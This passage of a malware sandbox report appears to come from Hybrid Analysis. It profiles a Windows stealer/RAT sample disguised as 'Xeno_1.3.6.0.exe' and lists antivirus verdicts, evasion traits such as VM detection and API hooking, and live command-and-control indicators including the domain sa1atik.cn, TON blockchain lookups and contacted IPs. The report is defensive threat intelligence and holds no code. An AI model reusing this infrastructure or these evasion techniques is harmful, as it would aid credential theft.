Call","mitre_attack_id":"T1057","relevance":5,"id":"api-104","sources":[{"report_type":"sandbox","report_id":"6ab1e6da0c0f08657e06fbcd"}]},{"level":"suspicious","category":"Spyware/Information Retrieval","name":"Found an instant messenger related domain","description":"\".skype.com1&0\" (Indicator: \"skype.com\")\n \"community-stage.skype.com1\" (Indicator: \"skype.com\")","origin":"File/Memory","relevance":10,"id":"string-61","sources":[{"report_type":"sandbox","report_id":"6ab1e6da0c0f08657e06fbcd"}]},{"level":"suspicious","category":"System Security","name":"Hooks API calls","description":"\"Wow64Transition@NTDLL.DLL\" in \"Xeno_1.3.6.0.exe\"","origin":"Hook Detection","mitre_attack_id":"T1056.004","relevance":10,"id":"hooks-0","sources":[{"report_type":"sandbox","report_id":"6ab1e6da0c0f08657e06fbcd"}]},{"level":"suspicious","category":"System Security","name":"Modifies Software Policy Settings","description":"$42","origin":"Registry Access","mitre_attack_id":"T1112","relevance":10,"id":"registry-19","sources":[{"report_type":"sandbox","report_id":"6ab1e6da0c0f08657e06fbcd"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Imports suspicious APIs","description":"GetSystemInfo\n WriteFile\n CreateThread\n LoadLibraryExW\n GetProcAddress\n VirtualAlloc\n GetSystemDirectoryA\n GetThreadContext\n LoadLibraryW","origin":"Static Parser","mitre_attack_id":"T1106","relevance":1,"id":"static-1","sources":[{"report_type":"sandbox","report_id":"6ab1e6da0c0f08657e06fbcd"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Timestamp in PE header is very old or in the future","description":"\"Xeno_1.3.6.0.exe\" claims program is from Thu Jan 1 00:00:00 1970","origin":"Static Parser","mitre_attack_id":"T1027","relevance":10,"id":"static-3","sources":[{"report_type":"sandbox","report_id":"6ab1e6da0c0f08657e06fbcd"}]},{"level":"malicious","category":"External Systems","name":"Sample detected by CrowdStrike Static Analysis and ML with relatively high confidence","description":"CrowdStrike Static Analysis and ML (QuickScan) yielded detection: win/malicious_confidence_100% (W)","origin":"External System","relevance":10,"id":"avtest-8","sources":[{"report_type":"sandbox","report_id":"6ab1e6da0c0f08657e06fbcd"}]},{"level":"malicious","category":"External Systems","name":"Sample was identified as malicious by a large number of Antivirus engines","description":"15/24 Antivirus vendors marked sample as malicious (62% detection rate)","origin":"External System","relevance":10,"id":"avtest-3","sources":[{"report_type":"sandbox","report_id":"6ab1e6da0c0f08657e06fbcd"}]},{"level":"malicious","category":"External Systems","name":"Sample was identified as malicious by a trusted antivirus engine","description":"Trusted antivirus vendors count marked sample as malicious (count = 2)","origin":"External System","mitre_attack_id":"T1204.002","relevance":10,"id":"avtest-5","sources":[{"report_type":"sandbox","report_id":"6ab1e6da0c0f08657e06fbcd"}]},{"level":"malicious","category":"Network Related","name":"Application communicates with a malicious domain","description":"Contacted Domain: \"sa1atik.cn\" has been identified as malicious","origin":"Network Traffic","mitre_attack_id":"T1566","relevance":10,"id":"network-88","sources":[{"report_type":"sandbox","report_id":"6ab1e6da0c0f08657e06fbcd"}]}],"incidents":[{"name":"Spyware","details_count":3,"details":[{"detail":"Hooks API calls"},{"detail":"POSTs data to a web server"},{"detail":"Found a string that may be used as part of an injection method"}],"sources":[{"report_type":"sandbox","report_id":"6ab1e6da0c0f08657e06fbcd"}]},{"name":"Evasive","details_count":2,"details":[{"detail":"May attempt to implement anti-virtualization techniques using MAC address detection"},{"detail":"Found a reference to a WMI query string known to be used for VM detection"}],"sources":[{"report_type":"sandbox","report_id":"6ab1e6da0c0f08657e06fbcd"}]},{"name":"Network Behavior","details_count":1,"details":[{"detail":"Contacts 4 domains and 4 hosts"}],"sources":[{"report_type":"sandbox","report_id":"6ab1e6da0c0f08657e06fbcd"}]}],"intel_graph":{"map":{"Domain:026042d01ac6e8faf294ec9b5816b47f34558c59cbe3d30937ddc18e43fe1f1e":{"type":"Domain","value":"dns.google","verdict":{"verdict":"unknown"}},"Domain:0b74fc419a513e832e21208d63bc84be7583250b62162557167f8da18e10f635":{"type":"Domain","value":"cloudflare-dns.com","verdict":{"verdict":"unknown"}},"Domain:sa1atik.cn":{"type":"Domain","value":"sa1atik.cn"},"Domain:ton.access.orbs.network":{"type":"Domain","value":"ton.access.orbs.network"},"Domain:tonapi.io":{"type":"Domain","value":"tonapi.io"},"File:7cf6ecf31afc12585c87147c412fb01611462ee47cf56c0ec8566619dcaddc74":{"type":"File","value":"7cf6ecf31afc12585c87147c412fb01611462ee47cf56c0ec8566619dcaddc74","verdict":{"verdict":"malicious","verdict_source":"ClamAV Antivirus","reasons":["File reported as malware by ClamAV antivirus"]},"filetype":"PE32 executable (GUI) Intel 80386, for MS Windows, 6 sections","filetype_short":"PE32","mime_type":"application/x-dosexec"},"Ip:1.1.1.1":{"type":"Ip","value":"1.1.1.1"},"Ip:104.16.248.249":{"type":"Ip","value":"104.16.248.249"},"Ip:104.20.29.41":{"type":"Ip","value":"104.20.29.41"},"Ip:104.21.83.70":{"type":"Ip","value":"104.21.83.70"},"Ip:152.53.49.102":{"type":"Ip","value":"152.53.49.102"},"Ip:167.82.50.132":{"type":"Ip","value":"167.82.50.132"},"Ip:168.222.202.171":{"type":"Ip","value":"168.222.202.171"},"Ip:176.12.71.122":{"type":"Ip","value":"176.12.71.122"},"Url:/route/1/mainnet/toncenter-api-v2/runGetMethod":{"type":"Url","value":"/route/1/mainnet/toncenter-api-v2/runGetMethod"},"Url:/sa1at/":{"type":"Url","value":"/sa1at/"},"Url:/v2/dns/remoteadministratortool.ton/resolve":{"type":"Url","value":"/v2/dns/remoteadministratortool.ton/resolve"}},"chains":[{"id":"1551772647782769524","root":"File:7cf6ecf31afc12585c87147c412fb01611462ee47cf56c0ec8566619dcaddc74","edges":[],"verdict":{"verdict":"malicious","verdict_source":"ClamAV Antivirus","reasons":["File reported as malware by ClamAV antivirus"]}},{"id":"1551772651720530853","root":"File:7cf6ecf31afc12585c87147c412fb01611462ee47cf56c0ec8566619dcaddc74","edges":[{"edge_kind":"contacted_domain","from_key":"File:7cf6ecf31afc12585c87147c412fb01611462ee47cf56c0ec8566619dcaddc74","to_key":"Domain:026042d01ac6e8faf294ec9b5816b47f34558c59cbe3d30937ddc18e43fe1f1e"}],"verdict":{"verdict":"unknown"}},{"id":"1551772651716336548","root":"File:7cf6ecf31afc12585c87147c412fb01611462ee47cf56c0ec8566619dcaddc74","edges":[{"edge_kind":"contacted_domain","from_key":"File:7cf6ecf31afc12585c87147c412fb01611462ee47cf56c0ec8566619dcaddc74","to_key":"Domain:0b74fc419a513e832e21208d63bc84be7583250b62162557167f8da18e10f635"}],"verdict":{"verdict":"unknown"}},{"id":"sandbox_network","root":"File:7cf6ecf31afc12585c87147c412fb01611462ee47cf56c0ec8566619dcaddc74","edges":[{"edge_kind":"contacted_ip","from_key":"File:7cf6ecf31afc12585c87147c412fb01611462ee47cf56c0ec8566619dcaddc74","to_key":"Ip:176.12.71.122"},{"edge_kind":"contacted_ip","from_key":"File:7cf6ecf31afc12585c87147c412fb01611462ee47cf56c0ec8566619dcaddc74","to_key":"Ip:104.21.83.70"},{"edge_kind":"contacted_ip","from_key":"File:7cf6ecf31afc12585c87147c412fb01611462ee47cf56c0ec8566619dcaddc74","to_key":"Ip:152.53.49.102"},{"edge_kind":"contacted_ip","from_key":"File:7cf6ecf31afc12585c87147c412fb01611462ee47cf56c0ec8566619dcaddc74","to_key":"Ip:1.1.1.1"},{"edge_kind":"contacted_ip","from_key":"File:7cf6ecf31afc12585c87147c412fb01611462ee47cf56c0ec8566619dcaddc74","to_key":"Ip:104.20.29.41"},{"edge_kind":"contacted_ip","from_key":"File:7cf6ecf31afc12585c87147c412fb01611462ee47cf56c0ec8566619dcaddc74","to_key":"Ip:167.82.50.132"},{"edge_kind":"contacted_ip","from_key":"File:7cf6ecf31afc12585c87147c412fb01611462ee47cf56c0ec8566619dcaddc74","to_key":"Ip:104.16.248.249"},{"edge_kind":"contacted_ip","from_key":"File:7cf6ecf31afc12585c87147c412fb01611462ee47cf56c0ec8566619dcaddc74","to_key":"Ip:168.222.202.171"},{"edge_kind":"contacted_domain","from_key":"File:7cf6ecf31afc12585c87147c412fb01611462ee47cf56c0ec8566619dcaddc74","to_key":"Domain:0b74fc419a513e832e21208d63bc84be7583250b62162557167f8da18e10f635"},{"edge_kind":"contacted_domain","from_key":"File:7cf6ecf31afc12585c87147c412fb01611462ee47cf56c0ec8566619dcaddc74","to_key":"Domain:026042d01ac6e8faf294ec9b5816b47f34558c59cbe3d30937ddc18e43fe1f1e"},{"edge_kind":"contacted_domain","from_key":"File:7cf6ecf31afc12585c87147c412fb01611462ee47cf56c0ec8566619dcaddc74","to_key":"Domain:sa1atik.cn"},{"edge_kind":"resolves_to","from_key":"Domain:sa1atik.cn","to_key":"Ip:152.53.49.102"},{"edge_kind":"contacted_domain","from_key":"File:7cf6ecf31afc12585c87147c412fb01611462ee47cf56c0ec8566619dcaddc74","to_key":"Domain:ton.access.orbs.network"},{"edge_kind":"resolves_to","from_key":"Domain:ton.access.orbs.network","to_key":"Ip:167.82.50.132"},{"edge_kind":"contacted_domain","from_key":"File:7cf6ecf31afc12585c87147c412fb01611462ee47cf56c0ec8566619dcaddc74","to_key":"Domain:tonapi.io"},{"edge_kind":"resolves_to","from_key":"Domain:tonapi.io","to_key":"Ip:104.20.29.41"},{"edge_kind":"contacted_url","from_key":"File:7cf6ecf31afc12585c87147c412fb01611462ee47cf56c0ec8566619dcaddc74","to_key":"Url:/sa1at/"},{"edge_kind":"contacted_url","from_key":"File:7cf6ecf31afc12585c87147c412fb01611462ee47cf56c0ec8566619dcaddc74","to_key":"Url:/v2/dns/remoteadministratortool.ton/resolve"},{"edge_kind":"contacted_url","from_key":"File:7cf6ecf31afc12585c87147c412fb01611462ee47cf56c0ec8566619dcaddc74","to_key":"Url:/route/1/mainnet/toncenter-api-v2/runGetMethod"}],"verdict":{"verdict":"unknown","verdict_source":"sandbox"}}]}},"activity":{"stats":{"process_count":1,"spawned_processes_count":1,"injected_processes_count":0,"script_calls_count":0,"mutex_created_count":3,"imported_dlls_count":61,"dropped_files_count":0,"extracted_files_count":0,"files_written_count":4,"files_deleted_count":0,"registry_keys_created_count":1,"registry_keys_modified_count":0,"registry_keys_deleted_count":0,"registry_keys_opened_count":0,"registry_keys_queried_count":0,"registry_operations_count":1,"embedded_ips_count":0,"embedded_domains_count":2,"embedded_urls_count":0,"contacted_hosts_count":8,"dns_resolutions_count":5,"contacted_urls_count":3,"http_requests_count":3},"behavior_tags":["salatstealer","criminal","informationstealer","rat","malicious","evasive","suspicious"],"sample_flags":["Network Traffic"],"sandbox_reports":[{"id":"6ab1e6da0c0f08657e06fbcd","environment_id":160,"environment_description":"Windows 10 64 bit","state":"SUCCESS","verdict":"malicious","threat_score":100,"malware_family":"W32.Evo","contacted_countries":["AUT","RUS","USA"],"submit_name":"Xeno_1.3.6.0.exe","analysis_start_time":"2026-09-22T02:24:28+00:00","indicators_count":{"informative":123,"suspicious":34,"malicious":4},"tags":["Network Traffic"],"is_in_unified_schema":true}],"network_activity":{"contacted_hosts":[{"address":"176.12.71.122","port":443,"protocol":"UDP","country":"Russia","sources":[{"report_type":"sandbox","report_id":"6ab1e6da0c0f08657e06fbcd"}]},{"address":"104.21.83.70","port":443,"protocol":"UDP","sources":[{"report_type":"sandbox","report_id":"6ab1e6da0c0f08657e06fbcd"}]},{"address":"152.53.49.102","port":443,"protocol":"UDP","country":"Austria","sources":[{"report_type":"sandbox","report_id":"6ab1e6da0c0f08657e06fbcd"}]},{"address":"1.1.1.1","port":443,"protocol":"UDP","sources":[{"report_type":"sandbox","report_id":"6ab1e6da0c0f08657e06fbcd"}]},{"address":"104.20.29.41","port":443,"protocol":"UDP","sources":[{"report_type":"sandbox","report_id":"6ab1e6da0c0f08657e06fbcd"}]},{"address":"167.82.50.132","port":443,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"6ab1e6da0c0f08657e06fbcd"}]},{"address":"104.16.248.249","port":443,"protocol":"TCP","sources":[{"report_type":"sandbox","report_id":"6ab1e6da0c0f08657e06fbcd"}]},{"address":"168.222.202.171","port":443,"protocol":"TCP","country":"Russia","sources":[{"report_type":"sandbox","report_id":"6ab1e6da0c0f08657e06fbcd"}]}],"dns_resolutions":[{"domain":"cloudflare-dns.com","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6ab1e6da0c0f08657e06fbcd"}]},{"domain":"dns.google","sources":[{"report_type":"qsp","report_id":""}]},{"domain":"sa1atik.cn","address":"152.53.49.102","ttl":300,"country":"Austria","sources":[{"report_type":"sandbox","report_id":"6ab1e6da0c0f08657e06fbcd"}]},{"domain":"ton.access.orbs.network","address":"167.82.50.132","ttl":212,"country":"United States","sources":[{"report_type":"sandbox","report_id":"6ab1e6da0c0f08657e06fbcd"}]},{"domain":"tonapi.io","address":"104.20.29.41","ttl":300,"country":"-","sources":[{"report_type":"sandbox","report_id":"6ab1e6da0c0f08657e06fbcd"}]}],"http_requests":[{"host":"sa1atik.cn","host_ip":"152.53.49.102:443","url":"/sa1at/","method":"GET","response_code":"500","response_phrase":"Internal Server Error","header":"GET /sa1at/ HTTP/1.1\nHost: sa1atik.cn\nUser-Agent: Go-http-client/1.1\nContent-Length: 354\nContent-Type: application/octet-stream\nAccept-Encoding: gzip","sources":[{"report_type":"sandbox","report_id":"6ab1e6da0c0f08657e06fbcd"}]},{"host":"tonapi.io","host_ip":"104.20.29.41:443","url":"/v2/dns/remoteadministratortool.ton/resolve","method":"GET","response_code":"404","response_phrase":"Not Found","header":"GET /v2/dns/remoteadministratortool.ton/resolve HTTP/1.1\nHost: tonapi.io\nUser-Agent: Go-http-client/1.1\nContent-Type: application/octet-stream\nAccept-Encoding: gzip","sources":[{"report_type":"sandbox","report_id":"6ab1e6da0c0f08657e06fbcd"}]},{"host":"ton.access.orbs.network","host_ip":"167.82.50.132:443","url":"/route/1/mainnet/toncenter-api-v2/runGetMethod","method":"POST","response_code":"200","response_phrase":"OK","header":"POST /route/1/mainnet/toncenter-api-v2/runGetMethod HTTP/2\nHost: ton.access.orbs.network\nUser-Agent: Go-http-client/2.0\nContent-Type: application/json\nAccept-Encoding: gzip","sources":[{"report_type":"sandbox","report_id":"6ab1e6da0c0f08657e06fbcd"}]}],"embedded_domains":[{"value":"cloudflare-dns.com","sources":[{"report_type":"qsp","report_id":""}]},{"value":"dns.google","sources":[{"report_type":"qsp","report_id":""}]}]},"process_activity":{"sources":[{"report_type":"sandbox","report_id":"6ab1e6da0c0f08657e06fbcd"}],"processes":[{"pid":3500,"ppid":0,"name":"Xeno_1.3.6.0.exe","command_line":"","sha256":"7cf6ecf31afc12585c87147c412fb01611462ee47cf56c0ec8566619dcaddc74","normalized_path":"C:\\Xeno_1.3.6.0.exe","uid":"00000000-00003500","icon":"iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAABH0lEQVR4Xu2UXWrCQBCAQymICEUQz2qxLVTUB8HnwoKnkdIr1OQAOUD+k5eREdYuQ2YzWZJQMAMfvuX7Zgf0vHHG+S+zPxxhSKi/t4Dz90/tL/XfAsIwHAQ2oKqqXijL8k5RFHwALUXwA97qV0yTvDHgS53umAHLXQCLbQDzTQAvnz7MPnyYvvswebvA8/oCT69/AUopljzP7QEUHSCRmy9QtznKnQMk8k5egDuBRI7YNkeyLLMHUHSARK4D6NYmzgESuQ7gNtdYA7gTSOQIiunWJmma2gMoOkAi1wHc5ih3DpDIEZTSrVu9AHcCKbbNkSRJ7AEUl4C6rbW89wDb5oMGcPI4jtsHNP23N93clDsFdCmPoogPGBLqH2ecx50rVs0alvIcXXoAAAAASUVORK5CYII="}],"all_imported_dlls":["KernelBase.dll","clbcatq.dll","ntdll.dll","advapi32.dll","profapi.dll","secur32.dll","wbemcomn.dll","wbemprox.dll","crypt32.dll","FWPUCLNT.DLL","ole32.dll","winmmbase.dll","nsi.dll","dhcpcsvc.dll","apphelp.dll","rasadhlp.dll","bcryptprimitives.dll","gdi32.dll","IPHLPAPI.DLL","wow64.dll","ws2_32.dll","msvcrt.dll","shlwapi.dll","userenv.dll","wbemdisp.dll","rsaenh.dll","rpcrt4.dll","oleaut32.dll","powrprof.dll","mswsock.dll","dhcpcsvc6.dll","gpapi.dll","vcruntime140.dll","wow64win.dll","win32u.dll","bcrypt.dll","uxtheme.dll","wbemsvc.dll","fastprox.dll","kernel.appcore.dll","user32.dll","ucrtbase.dll","msvcp140.dll","cryptsp.dll","msasn1.dll","imm32.dll","sspicli.dll","VxSSL32.dll","fltLib.dll","gdi32full.dll","cfgmgr32.dll","dnsapi.dll","wow64cpu.dll","cryptbase.dll","sechost.dll","msvcp_win.dll","combase.dll","winmm.dll","sxs.dll","wmiutils.dll","kernel32.dll"]},"file_activity":{"dropped_files":[],"extracted_files":[],"files_written":[{"path":"\\Global??\\FltMgrMsg","sources":[{"report_type":"sandbox","report_id":"6ab1e6da0c0f08657e06fbcd"}]},{"path":"\\DEVICE\\NETBT_TCPIP_{D03DB0C1-2729-4674-A875-8625DD784300}","sources":[{"report_type":"sandbox","report_id":"6ab1e6da0c0f08657e06fbcd"}]},{"path":"\\DEVICE\\NETBT_TCPIP_{D27478B9-2058-11E8-B41F-806E6F6E6963}","sources":[{"report_type":"sandbox","report_id":"6ab1e6da0c0f08657e06fbcd"}]},{"path":"\\DEVICE\\NETBT_TCPIP_{3FC98E00-C370-43D9-A2DC-B067CC06FAD9}","sources":[{"report_type":"sandbox","report_id":"6ab1e6da0c0f08657e06fbcd"}]}],"files_deleted":null},"registry_activity":{"keys_created":[{"key":"HKLMHKLM\\SOFTWARE\\WOW6432NODE\\MICROSOFT\\WBEM\\CIMOM\\","sources":[{"report_type":"sandbox","report_id":"6ab1e6da0c0f08657e06fbcd"}]}],"keys_modified":null,"keys_deleted":null},"mutex_activity":{"mutex_created":[{"name":"\\BaseNamedObjects\\WEBR_7NYT58K6CLNU","sources":[{"report_type":"sandbox","report_id":"6ab1e6da0c0f08657e06fbcd"}]},{"name":"SM0:3500:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6ab1e6da0c0f08657e06fbcd"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:3500:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6ab1e6da0c0f08657e06fbcd"}]}]}},"report_ids":{"sandbox_job_ids":["6ab1e6da0c0f08657e06fbcd"]}}}]]}] 20:null 24:[["$","title","0",{"children":"Malicious Trojan.LummaStealer Sample 7cf6ecf31afc… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","1",{"name":"description","content":"Malicious verdict for sample 7cf6ecf31afc…. Malware family: Trojan.LummaStealer. Threat score 100/100. 16/25 AV engines flagged this file. 5 malicious and 19 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","2",{"name":"robots","content":"index, follow"}],["$","link","3",{"rel":"canonical","href":"https://www.hybrid-analysis.com/sample/7cf6ecf31afc12585c87147c412fb01611462ee47cf56c0ec8566619dcaddc74"}],["$","meta","4",{"property":"og:title","content":"Malicious Trojan.LummaStealer Sample 7cf6ecf31afc… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","5",{"property":"og:description","content":"Malicious verdict for sample 7cf6ecf31afc…. Malware family: Trojan.LummaStealer. Threat score 100/100. 16/25 AV engines flagged this file. 5 malicious and 19 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","6",{"property":"og:url","content":"https://www.hybrid-analysis.com/sample/7cf6ecf31afc12585c87147c412fb01611462ee47cf56c0ec8566619dcaddc74"}],["$","meta","7",{"name":"twitter:card","content":"summary"}],["$","meta","8",{"name":"twitter:title","content":"Malicious Trojan.LummaStealer Sample 7cf6ecf31afc… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","9",{"name":"twitter:description","content":"Malicious verdict for sample 7cf6ecf31afc…. Malware family: Trojan.LummaStealer. Threat score 100/100. 16/25 AV engines flagged this file. 5 malicious and 19 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","link","10",{"rel":"icon","href":"/favicon.svg"}],["$","$L43","11",{}]]